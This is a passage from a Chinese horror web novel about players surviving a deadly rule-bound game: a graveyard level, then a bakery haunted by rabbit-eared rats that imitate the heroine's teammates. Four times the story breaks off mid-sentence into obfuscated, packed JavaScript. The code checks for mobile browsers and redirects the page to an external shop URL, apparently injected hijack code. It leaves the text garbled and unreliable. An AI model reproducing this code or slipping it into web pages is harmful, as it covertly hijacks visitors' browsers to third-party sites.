张万文和钱兰都没说话。 片刻后,钱兰先点了头:“你说得对。魂灯作用挺大,不能先用。那就先从骨钉开始。” 张万文也没再坚持,把厍砚手里的骨钉举到眼前看。他捏着那枚泛着冷光的钉子,眉头拧成一团:“那我们就按你说的,先找这枚骨钉对应的坟。”像是想到什么似的,追问道: “对了,之前那些提示骨钉的墓碑,最后指向哪来着?” 厍砚抬手指示:“我记得应该在那。” 三人快步走过去,张万文找了根树枝,蹲下身就开挖。厍砚和钱兰并列站立,相互警戒对方身后。钱兰面向张万文,她的目光死死盯着坟包。 下午4:42。 距离下一次永夜本该还有53分钟,可空气中此时却传来若有若无的腐臭味,风刮过破损的墓碑,发出像人一样呜咽的响声,如泣如诉。 张万文不敢松懈,争分夺秒挖掘坟墓,泥土中发出沉闷的撞击声。他挖得很快,没一会儿就露出了漆黑的棺木一角。 随后,张万文伸手就要去推棺盖,钱兰见状一把拉住他的胳膊:“等等!别轻举妄动,虽然我们三个都在现场,但……” 钱兰话音未落,只见棺木突然自己裂开一道缝,发出“吱呀”的木头声。刹那间,天空迅速变得灰暗,四周立刻涌上黑雾,这次的黑雾看样子比上次永夜时更加浓厚,腐尸们急切地脚步声在静谧的墓地中让人心神不宁。 “完了!挖错坟了!”钱兰低声喊道,手指不自觉地握紧了魂灯,浅绿色的火光在这片黑雾里只能照亮不到1米的范围。 十几具腐尸已经围了上来,它们残留着少许腐烂皮肉组织的手骨几乎要抓到队伍三人。 就在这时,张万文手里攥着的黄符突然剧烈发烫,烫得他差点脱手。他慌忙展开查看情况,只见暗黄色的符纸上,原本红色的符咒正在扭曲变形,最后化作一行刺眼的红字:永夜延迟10分钟。 周围的黑雾并没有散去,只是腐尸们的脚步声似乎停了下来。 纸上的红字闪烁了两下便消失了,黄符重新变回原来的样子,随后开始细微地颤抖,像是有生命似的指向樟树那边。 “黄符起作用了!永夜延迟10分钟!”张万文声音急切地转述。 钱兰闻言,立刻说出自己的想法:“找真正的骨钉肯定来不及了!先搞定黄符对应的坟再说!” “根据黄符的指引,就是这!”张万文深吸一口气。 三人来到樟树下,却并没有看见这棵树附近有什么坟墓。 “其实,尸体也能埋在树下,所以按理来说树也算一种墓碑,你们觉得呢?”厍砚想了想,提出一个大胆的设想。 钱兰和张万文想了想,觉得似乎有些道理。 于是张万文绕着樟树转了一圈,在树的背面发现刻有简易的碑文。 钱兰见张万文的示意,随后便开始在樟树附近拽了根树枝挖掘。 只见一口红木棺材映入三人眼中。 棺木盖突然“砰”的一声巨响从里面掀开,三人连忙后退两步,只见棺材中躺着一位向前伸直双臂的男尸—— 他面部青白,眼眶中的眼球早已腐败不堪,无力地挂在男尸脸颊上,眼眶黑洞洞的盯着前方。 男尸顿时开始颤抖,下一秒便原地起身。 张万文见状立刻眼疾手快地将黄符贴到男尸后背,黄符刚粘到男尸身上便瞬间燃起一簇黑色火焰。 那黑色火焰蔓延到男尸全身,男尸骤然发出一声痛苦的嘶吼,身体渐渐化作黑烟消散在空气中。只剩墓坑中的一口红木棺材。 嗯?棺材上那白色的是什么? 厍砚走上前,棺材里空空如也,只见棺材盖的内侧,钉着一枚灰白色的钉子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527517|203586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这颗钉子和之前那枚假骨钉外形几乎一模一样,只是没有那么有光泽。它的表面带着骨头特有的粗糙纹理,看起来暗淡无光,还沾着一点暗红色的血迹。 “这应该就是真的骨钉!” 厍砚伸手拔下钉子,入手冰凉粗糙,沉甸甸的,和假骨钉的质感全然不同。 “还有5分钟!”张万文看了一眼手机,声音有些急切道:“快找骨钉和魂灯对应的坟!” 厍砚握着真骨钉,目光快速扫过整片墓地。 真骨钉刚拿到手,就开始微微发烫,指向墓地正中央那座最高大的坟墓。 三人立刻冲过去,这次时间急迫,张万文和厍砚一起动手挖坟,钱兰举着魂灯警戒。 挖开墓穴,里面的棺材刚露出一角,就有一具腐尸猛地坐了起来,青面獠牙,面目狰狞,漆黑的指甲又尖又长。 厍砚眼疾手快,用尽毕生最大的力气将真骨钉狠狠地钉进腐尸的后脑勺。 或许是死了太久,又或许是其他不知名原因,这具尸体的头骨似乎有大片碎裂痕迹,厍砚钉入尸体后脑勺时只感觉像是顺着裂缝刺进去的。 腐尸发出一声凄厉的尖叫,身体瞬间僵住,随后便化作一滩黑水流进棺材里消失不见。 “2分钟!还剩魂灯的!”钱兰大喊着,紧握魂灯四处查看。 2分钟……1分钟……10秒…… 三人毫无所获,在厍砚看不见的视角里,张万文和钱兰二人脸色随着腐尸细细簌簌的脚步声而变得越发苍白。 只差最后……最后一步,大家就暂时能活下来,都这么拼命努力了,也只能依旧永远留在这个鬼地方了吗? 终究还是只能在此止步了吗? 大家都不想死。 钱兰和张万文有些无力地垂下肩膀,皆目光呆滞地盯着魂灯。 “要不我们回找到魂灯的地方看看?反正都已经走到头了,也没有别的办法了不是吗?”厍砚突然开口,语气及其平静地解释道: “既然我们是在黑雾中找到的魂灯,那么我觉得魂灯对应的坟墓也和黑雾有关。现在周围全是黑雾,但既然我们能找的都找了,魂灯都没给指示,那不如回去看看。” 张万文和钱兰闭了闭眼,深吸一口气。钱兰咬咬牙,狠下心决定道:“好!反正没招了,那就这么办吧!” 随后,三人咬着牙,挤成一团在伸手不见五指的黑雾中寻找当时的区域。 钱兰手里的魂灯光芒越来越弱,最后只剩针尖大的一点,腐尸沉重的脚步声仿佛近在耳畔,冰冷腐烂的手指好几次擦过厍砚的肩膀。 就在魂灯即将彻底熄灭的瞬间,他们终于幸运地来到了之前捡到魂灯的地方。 刹那间,魂灯那点微弱的绿光猛地炸开!刺目的光芒瞬间席卷了整片墓地,黑雾如冰雪消融般迅速消散。 三人下意识地捂住眼睛,等再睁开时,所有的腐尸都消失不见。队伍面前,此时正矗立着一块饱经风霜的巨大青石碑,上面刻着几个斑驳的大字——息安村遗址。 难怪进入关卡的木门会这么不符合常理的镶嵌在石墙上,原来那是息安村的房屋残骸吗? 厍砚一行人不敢在原地多停留,休息几分钟后便离开这第一个关卡。 …… 这个村庄,是真实的还是副本虚构的呢?如果是真实的,那么这个规则怪谈游戏确实很反人类呢。 厍砚垂下头,眼神晦暗不明。肩上的小丑木偶只是看向她,依旧保持着不通人性的微笑。 11. 第二扇门 下午5:10。 三人休整完毕后,径直走向第二扇门。 第二扇木门看起来和第一扇木门的外观并无差别。队伍三人相互看了一眼,便推开木门。 刚推开一条门缝,众人便闻到一股甜腻的香气。 “好香,什么味?”张万文不自觉探头往里看去。 厍砚见状连忙捂住口鼻,伸手阻拦道:“等等!别急着进去,先捂住口鼻,不知道这气味有没有毒!” 张万文和钱兰像是刚从这味道的蛊惑中清醒过来似的,连忙屏住呼吸,站在门外,继续推开门小心翼翼地朝里面望去。 门内并不像上一关那样阴森,出人意料地十分明亮,屋内柔和的暖光照亮整个房间。 看样子,这应该是个糕点烘焙坊的后厨,那么刚才闻到的甜甜的味道应该就是糕点的味道了。 三人见状,这才放下心开始呼吸。 走进门内,只见不知从哪冒出来的黑猫拦住众人的脚步。 “你们是我的牛……员工吗?”小黑猫口吐人言,听起来似乎十分兴奋。 “猫……?”钱兰被黑猫吓了一跳,定睛一看才发现是一只还没小腿高的小黑猫。 不等众人反应过来,小黑猫直接开口吩咐道:“员工们!我是这家面包店的店长!你们来得正好,快按照客人们的需求制作产品吧!”店长咧了咧w形猫嘴,说: “请一定要让顾客们满意哦!否则……” 话音未落,小黑猫便打了个哈欠,将剩下的话咽回肚子里。随后转身,几个轻盈地小跳从窗户跑走了。 “等等!”钱兰急切开口,但小黑猫仅是瞬间便消失得无影无踪。 厍砚皱眉,叹了口气:“啥猫啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527518|203586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,话怎么只说一半。” 张万文左右看了看,低头却发现自己的衣服变了:“我衣服呢?!”只见三人的服装不知什么时候从常服变成了穿着白色围裙的黑色员工服。 厍砚打量片刻身上的服饰后,余光瞥见小黑猫跑走的窗户不知何时关上了,窗外一片漆黑,和刚才阳光明媚的外景截然不同。 仔细打量这个关卡,才发现这片区域并不止这一间烘焙室,这家面包店布局和人类世界的差别不大,分堂食区和烘焙区。 “看来我们可能要分工了。”厍砚摸了摸胸前佩戴的店员铭牌。 钱兰点点头:“确实。”她摸了摸头上戴着的白色烘焙帽:“看样子我是后厨的。” 张万文随即也表示自己是烘焙区的。 厍砚叹了口气:“好吧,那我就去堂食区等着了。” …… 12. 疑似力竭 厍砚僵在原地,看着空荡荡的门口,衣服布料不知何时早已被冷汗浸湿,紧紧贴在她的后背上。 又过了十分钟,草莓蛋糕被推了出来。这次厍砚镇定了许多,她已经能熟练按照上一次的程序走完招待流程。 下午5:50。 奶香苏打饼从门帘后推出来后,厍砚把苏打饼放在第三个客人面前,等着对方重复之前的流程。可这次,客人却没有动。 它就那样端坐着,盯着盘子,一动不动。 一分钟,两分钟…… 苏打饼还冒着热气,客人却像一尊雕塑。厍砚心里咯噔一下,想起规则第二条:“不能惹顾客生气。如果有投诉……你们就去死吧!” 她深吸一口气,走上前,尽量用最恭敬的语气询问:”请问您还有什么需求吗?” 客人终于有了反应。它缓缓抬起头,黑洞洞的眼窝对准厍砚的脸,随后慢慢抬起手,枯瘦的手指指向收银台下面。 厍砚顺着它指的方向看去,只见收银台底下的阴影里,有什么东西在动。窸窸窣窣的声音传来,一只巴掌大的老鼠钻了出来—— 但看起来不是普通的老鼠,它的头上长着一对小小的白色兔子耳朵,眼睛似是两颗鲜红的红豆,正吱吱叫着盯着厍砚。 厍砚猛地想起前厅规则第三条:“前厅不仅要招待顾客、服务顾客,还要负责收集食材哦喵!” 那只兔耳老鼠跑得飞快,一眨眼就窜到了墙角。厍砚攥紧口袋里的钢叉,刚要追过去,就听见后厨方向传来一声短促的尖叫。 尖叫声戛然而止,取而代之的是熟悉的、令人作呕的咀嚼声。 只见那黑色门帘的底部,慢慢渗出了暗红色的液体,在地板上蜿蜒成一条细流,朝着厍砚的脚边流来。 厍砚僵在原地,看着那道暗红色的细流缓缓爬过地面。 血……? 不,不一定是血。但那看起来有些粘稠的质感,加上空气中逐渐弥漫开来的铁锈味,让她无法说服自己。 “钱兰?张万文?”情急之下,她急切地压低声音喊了一句,声音却像被厚重的门帘吸收了一般,没有任何回复。 黑色门帘依旧纹丝不动,只是底部那摊液体蔓延得更开了。 厍砚攥紧了口袋里的钢叉,强迫自己把目光从那摊暗红上移开,转向面前的兔子面具客人。 客人仍然一动不动地盯着她,黑洞洞的眼窝像是在欣赏她的恐惧。 “您……还需要什么吗?”厍砚能听见自己的声音有些发紧,但她还是努力维持着那个诡异的微笑。 客人的手指再次指向收银台下面。 厍砚顺着方向看去,那只长着兔耳朵的老鼠已经不见了。 “吱——!” 细微的叫声从另一个方向传来。厍砚猛地转头,看见第二只兔耳老鼠正蹲在窗台上,红色的小眼睛盯着她,尾巴快速摆动。 然后第三只,第四只…… 从天花板的缝隙里、墙角的老鼠洞里、甚至客人坐的椅子底下,陆续钻出了七八只兔耳老鼠。它们并不靠近,只是围成一个半圆,逐渐把厍砚逼向收银台的方向。 厍砚一边后退,一边快速回忆规则。 前厅规则第三条:不仅要招待顾客、服务顾客,还要负责收集食材。 “收集食材”,或许指的就是这些兔耳耗子。 如果她没能抓到老鼠,会怎样? 那声尖叫和门帘下的液体像是给予厍砚的负面警告。 厍砚深吸一口气,咬了咬牙,从口袋里掏出钢叉。那群老鼠们似乎感受到了某种威胁,齐齐后退了几步,但并没有散开。 就在这时,靠窗的客人突然站了起来。 它的动作很慢,像年久失修的机器似的一卡一卡地行动着,发出咔咔的声响。它绕过桌子,径直走向那群老鼠。 厍砚屏住呼吸紧盯它的动作。 只见客人走到最近的一只老鼠面前,弯下腰。那张裂开的兔子面具再次张开,露出满口尖牙,一口咬住了兔耳老鼠,发出咯吱咯吱的咀嚼声。 那老鼠发出刺耳的尖叫,挣扎了几下便没了动静。客人的喉咙上下滚动着吞咽老鼠的死尸。 随后它直起身,转向厍砚。 面具上的裂缝还在往下滴着暗红色的液体,但厍砚分不清那是果酱还是别的什么。 “食……材……”客人发出了沙哑的声音,像是金属摩擦,“不好……自己……找……”。 厍砚听得头皮发麻。 这客人看起来并不满足于后厨做出来的食物——它还想吃活的、会动的东西。看来规则上所谓的“食材”,或许不是什么面粉或者鸡蛋之类的寻常东西,而是这些兔耳老鼠。 不,可能还包括别的什么。 黑色门帘后的那声尖叫又在她耳边回响起来。 厍砚强迫自己冷静下来。现在不是害怕的时候,她有钢叉,还有…… 她摸了摸肩上的小丑木偶。 不行,那只能用来挡一次致命伤,不能随便浪费在这新手关卡。 厍砚深吸一口气,握紧钢叉,盯准了墙角一只落单的兔耳老鼠。 那死耗子似乎感觉到了她的目光,竖起耳朵,红豆般的眼睛瞪得滚圆。 厍砚猛地冲过去—— 只见那老鼠灵巧地跳开,钢叉刺入墙壁,留下一道浅浅的划痕。 “啧!” 厍砚暗骂一声,转身去追,却发现那只老鼠已经不见了踪影。其余的老鼠也像得到了信号似的,眨眼间就消失得无影无踪。 整个前台重新归于寂静。 厍砚喘着粗气,余光扫向靠窗的位置—— 那个客人缓缓抬起头。它没有像之前那样催促,只是静静地坐着,惨白的手指在桌面上有节奏地敲击着。 咚、咚、咚。 每一声都像敲在厍砚的心口上。 “您想要的食材还在准备中……”厍砚尽量让声音平稳:“请您稍等。” 客人没有回应,只是继续敲着。 咚、咚、咚。 厍砚后退两步,猛地转身掀开黑色门帘的一角,朝后厨望去—— 里面安静得不正常。 “钱兰?张万文?”她压低声音喊了一句。 无人应答。 门帘底部那摊暗红色的液体还在往外渗,已经快要流到她的鞋边。厍砚咬了咬牙,掀开门帘,一脚踏进了后厨。 灯光让她眯了眯眼,适应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538184|203586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几秒后,发现后厨的一切看起来都很正常。烤箱关着,案板上整齐地摆着面粉和糖罐。低头一看,地上没有血迹,甚至连那摊从门帘渗进来的液体都消失了。 “钱兰?” 然而依旧没有人回应她。 厍砚环顾四周,只见后厨专属的储物间虚掩着门,里面传来窸窸窣窣的声音。 她握紧钢叉,小心翼翼地推开门。 “你怎么进来了?” 钱兰站在梯子上,手里抱着一个铁盆,盆里装着几只活蹦乱跳的兔耳老鼠。张万文蹲在地上,正用绳子捆扎一个布袋。 厍砚松了口气:“你们没事就好。前厅的客人它还想吃活的……” “我们知道。”话音未落,只见张万文站起身,拍了拍膝盖上的灰尘说道:“后厨也有规则,我们得处理这些老鼠。” 钱兰从梯子上跳下来,翻开一本放在架子上的食谱:“你看,这是在储物室找到的特殊食材处理指南。” 厍砚接过食谱,快速扫了几眼—— 1.兔耳鼠需活捉,现杀现做。 2.处理时需彻底放血,血液不可食用。 3.处理完毕后交给前厅同事上菜。 “所以……”厍砚抬头。 钱兰戴上手套,从案板上拿起一把尖刀:“我们来处理,你们两个负责上菜。” 厍砚点点头,转身准备回前厅。门帘上写着一个大大的数字“2”。当她掀开后厨与前厅之间的门帘时,却发现门帘后面不是前厅。 而是一条长长的昏暗走廊。 走廊两侧是紧闭的木门,墙壁上挂着几盏快要熄灭的油灯,空气中弥漫着一股潮湿的霉味,有些令人作呕。 厍砚愣了一下。 她回头望去,后厨还在,钱兰和张万文在低头处理老鼠,似乎完全没有注意到她的异常。 “钱兰?”厍砚喊了一声。 钱兰抬起头,微笑着看她:“怎么了?” “门帘后面……不是前厅。” 钱兰歪了歪头,露出不解的表情:“什么不是前厅?你从那边过来的,怎么会不是?” 厍砚皱了皱眉,只觉得有些不对劲。 她确实是从前厅进来的。可当她转身想要回去时,回去的路却变了。 “……我出去看看再说吧。”厍砚试探性地迈出一步,走进走廊。 身后的门帘落下,发出一声沉闷的声响。 她猛地回头,只见那门帘已经消失不见。取而代之的,是一堵石墙。 厍砚深吸一口气,强迫自己冷静下来。 看来要上难度了。 她现在所处的这个走廊,既不是前厅也不是后厨,而是另一个陌生的空间。 而刚刚还在后厨里的钱兰和张万文…… 草!刚进这关卡时,后厨哪来的储藏室! 厍砚闭了闭眼,手指开始发抖。她摸了摸肩上趴着的小丑木偶,木偶依旧是那副气人的笑容,没有什么变化。 走廊尽头的黑暗中,传来了一声轻微的咯吱声。 像是老鼠的叫声,又像是门轴转动的声响。 厍砚叹了口气,只能紧攥着钢叉,硬着头皮往前走。 …… 13. 真真假假 厍砚尝试沿着墙壁摸索,指尖触到一处微微凹陷的地方,像是有什么东西嵌在墙里。 她停下脚步,借着昏暗的光线仔细辨认。 那是一块颜色略浅的墙砖,边缘有一道细细的缝隙。厍砚试着按了按,没有反应。她又试着往旁边推了推,只听“咔嗒”一声轻响,那块砖竟向内凹陷了一截。 紧接着,面前的墙壁缓缓裂开一道缝,露出一扇仅容一人通过的暗门。 门后透出暖黄色的光,仔细一听,似乎还有轻微的说话声。 厍砚紧握着钢叉,侧身挤了进去。 只见后厨摆放着烤箱、案板、面粉罐等物品,还有两个黑色人影站在后厨。 “厍砚?你怎么从那儿出来了?”钱兰的声音带着明显的惊疑。 张万文也转过头来,手里拿着一袋似乎还未开封的面粉,他的黑影轮廓看起来有些僵硬:“你不是应该从前厅过来吗?门帘在那儿呢。” 厍砚看了他一眼,没有回答,只是快速扫视整个后厨。 和上一个“后厨”不同,这里没有凭空冒出来的储藏室。一切都正常得不像话。 厍砚撇了一眼通往前台的黑色门帘——那块黑布上,原本写着数字“2”的位置,此时却写着数字“1”。 什么意思,莫非是…… 她心里猛地一沉,皱眉沉思。 如果真是这样,那么三次当面交流的机会,已经被用掉了两次。至于那两次是什么时候消耗的……是她第一次从前厅扔纸条进去?还是她不久前掀开门帘喊话的那次? 厍砚没有纠结太久。她收回视线,看向钱兰和张万文。 两个人都在等她说话。钱兰的手搭在案板上,姿势自然;张万文站在烤箱旁边,手里的面粉袋还没放下。他们看起来和之前没什么不同,但厍砚的直觉告诉她,在这个规则怪谈世界里,“看起来正常”有时候本身就是最不正常的事。 她没有完全确认眼前这两个黑影就是真正的队友。 也可能是这个关卡制造出来的幻觉,也可能是那扇“隐藏门”把她带到了另一个虚假的空间。毕竟上一秒她还被关在走廊里,下一秒就摸到所谓的隐藏门回到后厨…… 这些事,用所谓的“平行时空”来解释都显得牵强。 “前厅的客人还在等。”厍砚决定先静观其变,语气尽量保持平稳,“它说还要吃额外的食材,而且它还说,那东西在后厨。” “后厨?”钱兰歪了歪头:“我们在这儿待了这么久,没看见什么特别的食材啊。” “客人没说具体是什么,只说在后厨。”厍砚不动声色地观察着二人的反应:“你们……有什么思路吗?” 张万文放下面粉袋,似乎在思考:“厨房规则上只写了我们需要做菜单上的东西,没提额外的……会不会是那些老鼠?” 钱兰也附和道:“上一个后厨确实有老鼠,但这里我们还没见到过。要不我们一起找找?” 厍砚闻言立刻皱了皱眉,不动声色地后退一步。 她注意到,钱兰说的是“上一个后厨”。但张万文和钱兰刚开始时明明和她在一起,当时也没发现有什么暗门之类的东西。 可现在提起来,两个人的语气都像是把那当成了“另一个正常的房间”,像是在这两人的认知里,好像有很多个后厨似的。 要么是张万文和钱兰的认知被篡改了,要么…… 厍砚摸了摸肩上的小丑木偶。木偶依旧沉默地笑着。 至少有这个保命道具在,不慌,不慌。 “那就找找吧。”厍砚说着,转身看向门帘上的那个“1”字。 按照她的猜想,三次当面交流的机会,如果真的只剩最后一次了。眼前这两人如果真是真正的队友那最好;但如果不是…… 那她大概已经踩进了陷阱里。 厍砚深吸一口气,决定先按兵不动,看看这两人接下来会怎么行动。 随后她就站在原地,看着钱兰和张万文在后厨里翻箱倒柜地找所谓的“食材”。两人看起来配合默契,一个翻橱柜,一个蹲下来检查烤箱内部,看起来好像没什么异常之处。 但厍砚心里就是隐隐觉得有哪个地方不太对劲。 “厍砚,你怎么还在这儿?”钱兰直起身,语气听起来似乎有些着急:“前厅的客人还在等呢,你先回去盯着吧,别到时候又出什么岔子。” 张万文闻言点点头道:“对对对,你回前台等着。等我们找到客人要的东西,就从门帘给你递过去。” “是啊,你在这儿也帮不上什么忙。”钱兰走过来,伸手想要推厍砚的肩膀:“快去吧,别让客人等急了。” 厍砚侧身躲开了她的手。 “呃,我自己走。” 钱兰的手僵在半空中,停顿了两秒,才缓缓收回去。玩家专属的黑影下看不清钱兰的面容,但厍砚能感觉到对方的视线正死死地钉在自己身上。 厍砚转身,慢慢朝着那块写有“1”字的黑色门帘走去。 一步,两步,三步…… 她能感觉到身后两道灼热的视线正追着自己的后背。那视线像是猎手盯着猎物时的注视。 厍砚的指尖触到门帘的布料。 嗯? 黑色门帘冰凉顺滑,触感不像是布,更像是某种动物的皮毛。 就在这时,她猛地转身—— 哪还有什么钱兰和张万文! 后厨的暖光照耀着空间里的情景,只见两只体型硕大的兔耳老鼠正站在后厨中央。 它们的身体看起来有成年猪那么大,灰黑色的皮毛油光发亮,从背脊到尾巴拖着一道深色的条纹。那对白色的兔耳朵竖在头顶,显得荒诞又诡异。红豆般的眼睛此时正死死盯着厍砚,嘴巴半张着,露出两排尖利的黄牙,牙缝里还塞着暗红色的肉丝。 口水从它们的嘴角淌下来,滴在地板上,发出“啪嗒、啪嗒”的声响。 “怎么……不走了?” 其中一只开口了,声音尖锐刺耳,像是指甲刮擦黑板的声音。它歪了歪头,头顶的兔子耳朵跟着晃了晃,嘴巴一张一合,口水拉出一道黏腻腥臭的丝线。 “客人还在等呢。” 另一只往前迈了一步。厍砚能清晰看见它的爪子不再是人类的手,取而代之的是五根弯曲的黑色指甲,又长又尖,指甲缝里塞满了污垢和干涸的血迹。 厍砚的脑子里“嗡”地一声,只觉得像是有什么东西炸开了。 她的双腿瞬间像灌了铅一样,根本迈不动。恐惧像一只无形的手,死死攥住了她的心脏,让她此时连呼吸都变得异常困难。 两只老鼠对视一眼,似乎看出了她的僵硬。 “你怎么了,你不认识我们了吗?” “是啊,你怎么了?我们是你的队友啊!” 它们一唱一和,声音渐渐变得和钱兰、张万文一模一样。那两张老鼠脸上甚至挤出了人类那般温和的笑容,但嘴角咧开的弧度太大了,几乎裂到了耳根,露出里面层层叠叠的尖牙。 “快去啊。” “去前厅。” “客人还等着呢!” “不想去吗?那你……” 厍砚的余光猛地扫到一样东西——那扇她进来的隐藏门。 那门居然没有关! 它露出巴掌宽的一条门缝,暖黄色的光从里面漏出来,像是在给予她希望。 厍砚咬了咬牙,用尽全身力气猛地向后一蹬。 “你找死!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538466|203586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两只老鼠同时扑了过来,尖利的爪子划过空气,发出爆破音。 厍砚不敢耽搁,快速侧身挤进了那扇门里,反手猛地将门一摔。 砰! 门关上的瞬间,像是有什么重物撞了上来,整扇门剧烈地震了一下。 砰!!砰!!砰!!! “开门!” “该死的……人类!” 门外传来老鼠尖锐的叫喊,夹杂着爪子抓挠木板发出的刺耳声响。它们的力道大得像是要把门砸烂。 厍砚死死抵着门,手掌被震得发麻。 但就在这时,门内突然安静了。 那疯狂的砸门声戛然而止,像是被人按下了暂停键。 厍砚屏住呼吸,不敢乱动。 一秒,两秒…… “吱吱——!” 一声鼠类尖叫声从门内传来,短促而凄厉,像是被什么东西猛地掐住了喉咙。 随后传来第二声。 两声尖叫过后,门内彻底安静了。 “呕,什么味道……?” 厍砚低头,看见门缝下面正缓缓渗出一滩黑色的液体。那液体质地粘稠得像沥青,散发着一股刺鼻的腐臭味,缓缓地在走廊地面上蔓延开来。 那看起来不是血,至少不是人类的血。 厍砚后退了两步,绕开那摊黑色液体,靠在走廊的墙壁上大口喘气。她的后背早已被冷汗浸透,心脏像是要从胸腔里蹦出来。 肩膀上的小丑木偶依旧稳稳地坐着,那张微笑的脸在昏暗的光线下显得有些诡异。 厍砚长叹一口气,平复了一下呼吸,然后直起身拍了拍裤子上的灰尘。 继续走吧,毕竟留在这里也是等死。 走廊的光线比之前更暗了。厍砚沿着墙壁摸索着往前走,这次并没有再发现什么隐藏门。 走廊的尽头,是一扇木门。 和之前那些门不同,这扇门看起来有些年头了,木头上布满了深浅不一的划痕,像是被什么东西反复抓挠过。黄铜的门把手已经氧化发黑,上面还沾着一些暗红色的污渍。 厍砚屏住呼吸,将耳朵贴近门板。 门的那一边,传来了细微的说话声。 “……你说她跑到哪去了?” 说的是谁? “不知道,但肯定还在这个关卡里。我们得找到她,不然……” “不然什么?” “不然谁都出不去!” 厍砚的眼睛猛地睁大了。 是钱兰和张万文的声音。 她听得很清楚,那语调、那措辞、那停顿的习惯,全都和她印象中的两个人一模一样。 厍砚缓缓地将手放在门把手上。 就在她准备拧开的瞬间—— 门内的声音戛然而止。 像是被人掐住了喉咙,又像是所有人同时闭上了嘴。这种安静让厍砚后背的汗毛瞬间竖了起来,鸡皮疙瘩从手臂一直蔓延到后背。 厍砚咽了咽唾沫,手还搭在门把手上,不敢动。 门内依旧是一片寂静。 厍砚试探性松开手,后退了半步。 “你说,她会在门外吗?” 钱兰的声音又响了起来,语气平淡得像是在讨论今天天气怎么样。 “哈哈,是有这种可能。”张万文语气轻松地回应道:“要不我们开门看看?” 厍砚瞳孔猛地一缩。她死死盯着那扇木门,不敢大口呼吸。 草,必须立刻跑! 门内传来脚步声,由远及近,一步一步,像是有人不紧不慢地朝着门的方向走来。 咯吱! 只见沾了血迹的黄铜门把转动了一下。 ……